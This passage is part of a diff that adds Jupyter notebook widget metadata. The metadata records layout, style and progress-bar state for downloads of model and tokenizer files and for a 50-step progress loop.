+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "51b9487b43204e23bc11c2693f46ff72": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2c63224632c04b159f2c9453e4ca3c15",
+              "IPY_MODEL_5568e424494e406ea991d0c778924aa8",
+              "IPY_MODEL_f0d04527bbe94bfdb91353827c2ad7db"
+            ],
+            "layout": "IPY_MODEL_d1bf7fca5177409290ea45d701774d6d"
+          }
+        },
+        "534cf1c7f20a431cab02aea224148db3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_1997648c2dc946e1bdb18d2730175ea8",
+              "IPY_MODEL_2496cd9b6ee640f8a6d398b7a56f93b7",
+              "IPY_MODEL_7f0e7d1bd12b4d0eb800a3d62901c4a8"
+            ],
+            "layout": "IPY_MODEL_b75a2474c46f4f3b9d84cb981bfffac7"
+          }
+        },
+        "5568e424494e406ea991d0c778924aa8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_77755839ec0946c5b33488dd412f4d58",
+            "max": 617,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f7d7fb787f884822aa3e5cdbfab22b1d",
+            "value": 617
+          }
+        },
+        "5573d97394b144d6b8f4065bf81e6d05": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "597a8eacf00b406ab23af333aea97e3c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5a702086896f4a229e326fa05d616b35": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5bb94e6390af4e81ac0e6b3a47445996": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_37af49a1966045ee992e01f45ff5df81",
+            "max": 50,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_8120fb8694244e5dbbc448eb2a6e03dc",
+            "value": 50
+          }
+        },
+        "5e09f80f20554f419d925c5cdf55cc63": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5eba2d04c1c54016834e7dddd253a380": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "61325b5427e44d0885d95a82fc44cfd6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_37735d14a2614ffbbceaef743d2033a9",
+              "IPY_MODEL_80916d39f0bc426488b41a013196cc42",
+              "IPY_MODEL_7badbb79920e43b9a6f6317e7b746384"
+            ],
+            "layout": "IPY_MODEL_693b0b6df20e4f2caeaeb4838b37d8bb"
+          }
+        },
+        "614b85aff85e47debadea7773583b8ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3d17c5e7b942485d9ca1db572c06afe5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_29f58c06e0474f4e8f411aaaceb4d7f7",
+            "value": "100%"
+          }
+        },
+        "621ceb287f8243f5a2952613c01f3f82": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "62924d5b19784abcaa672d995fc15127": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "64f6ec814be648d3ba69f94eb844a049": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "67a3104f358e48459f458fddf98b826e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "68b6a1a9d4c7422d9263e00cbd956be1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "693b0b6df20e4f2caeaeb4838b37d8bb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "69faef33b09f4da7b1c11639102b2a4f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6e0be2c85237496eb97b53963654dffa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_163075971def4198b5cc7a0d5ec3c81d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9984e9b0a929433ab6e4501538a60c80",
+            "value": " 901/901 [00:00&lt;00:00, 4.42kB/s]"
+          }
+        },
+        "6f400bad53794c7cbed09e4fd59c211d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4cecf6bc5f294968bcee7bf65896a31d",
+              "IPY_MODEL_5bb94e6390af4e81ac0e6b3a47445996",
+              "IPY_MODEL_af474aa6c91344da9a968e7e2488b74c"
+            ],
+            "layout": "IPY_MODEL_5a702086896f4a229e326fa05d616b35"
+          }
+        },
+        "73f2e3215913478aae13131aefadd0a5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "773661aa8b6e4c0db5238cfe398b2b5b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_67a3104f358e48459f458fddf98b826e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b63595513fec4e81a0a8200294faf7ba",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "77755839ec0946c5b33488dd412f4d58": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7989fe19c8b749ddaa60c5c7b5cec0ea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_773661aa8b6e4c0db5238cfe398b2b5b",
+              "IPY_MODEL_21d9342ed95d4bf0959647ef57fceb97",
+              "IPY_MODEL_0bb6ef1e3a2d43ca970723b0e5ac93cf"
+            ],
+            "layout": "IPY_MODEL_0b9c78977b6a45da9aa6ada3332fbc28"
+          }
+        },
+        "7badbb79920e43b9a6f6317e7b746384": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dfdaf22078fd4385ab30060981d67666",
+            "placeholder": "​",
+            "style": "IPY_MODEL_3eee3667ff024f2a875dcf57f00d7f70",
+            "value": " 246M/246M [00:03&lt;00:00, 92.0MB/s]"
+          }
+        },
+        "7d654e85d8794af197e72f905086b9a7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7d9b49d6dbfc41988b2c3c6ac40a3cae": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7debd7332d4a4811ad653398344420f4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7f0e7d1bd12b4d0eb800a3d62901c4a8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cbcfc8e9b02348a182722c846cecca2a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ece36cbb62cd46a8b452fac32dce3493",
+            "value": " 50/50 [00:28&lt;00:00,  1.73it/s]"
+          }
+        },
+        "7f29483722954a3697afb9cb24430e8c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_209020cdb39942178adbc7cc3acf1cb0",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e68ae70236b04e5aa6c5de879ca81e9e",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "80916d39f0bc426488b41a013196cc42": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d44653455b8a490997da5bfd8672cf7e",
+            "max": 246184375,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_090573574f8d48a1b9d2918d14c75c9a",
+            "value": 246184375
+          }
+        },
+        "8120fb8694244e5dbbc448eb2a6e03dc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "833477c7e6144deba2f9a7e1e3fb7c12": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "87d35ca268744638ad484ccf1a7fe2ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "89129c49f76e497a8fb218b8126dc4d9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
